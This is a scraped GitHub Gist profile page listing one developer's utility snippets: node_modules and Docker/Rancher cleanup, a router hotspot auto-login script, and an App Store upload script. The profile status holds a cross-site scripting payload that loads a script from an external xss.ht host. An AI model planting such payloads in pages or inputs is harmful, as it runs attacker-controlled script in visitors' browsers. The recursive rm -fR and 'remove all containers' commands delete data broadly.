Skip to content

Instantly share code, notes, and snippets.

Avatar
🎯
"><script src=//cusspvz.xss.ht />

José Moreira cusspvz

🎯
"><script src=//cusspvz.xss.ht />
View GitHub Profile
@cusspvz
cusspvz / clean-node-modules.sh
Last active Feb 10, 2021
Delete all node_modules folders RECURSIVELY
View clean-node-modules.sh
#!/bin/bash
# this command finds all the `node_modules` folders under your current path and will prune them
find . | grep /node_modules$ | grep -v /node_modules/ | xargs rm -fR
@cusspvz
cusspvz / index.js
Created Nov 14, 2016
require-by-kind
View index.js
const PREFIX = 'synaptic'
const NpmRegExp = /^@?[a-z0-9\-]*([a-z0-9\-])?$/
export default function requireByKind ( kind, given ) {
// Avoid access to specific files by restricting the `given`
if ( given.match( NpmRegExp ) ) {
throw new Error( `only alphanumeric names are valid` )
}
@cusspvz
cusspvz / 99-login-fon
Last active Jan 21, 2021
FON ZON / NOS auto-login bash script wget portugal non-wispr client openwrt
View 99-login-fon
#!/bin/sh
# place this file at: /etc/hotplug.d/iface/99-login-fon
# Configurations
FON_USERNAME=email%40domain.com
FON_PASSWORD=123456
FON_DELAY_UP=3
COOKIE_JAR_PATH=/tmp/nos-fon-cookie-jar.$INTERFACE
. /lib/functions.sh
View unregister-rancher-agent.sh
#!/bin/bash
sudo docker stop $(sudo docker ps -q);
sudo docker rm $(sudo docker ps -a -q);
sudo rm -fR /var/lib/rancher/
View upload-2-appstore.sh
#!/bin/bash
set -ex
# This scripts allows you to upload a binary to the iTunes Connect Store and do it for a specific app_id
# Because when you have multiple apps in status for download, xcodebuild upload will complain that multiple apps are in wait status
# Requires application loader to be installed
# See https://developer.apple.com/library/ios/documentation/LanguagesUtilities/Conceptual/iTunesConnect_Guide/Chapters/SubmittingTheApp.html
# Itunes Connect username & password
USER=changeme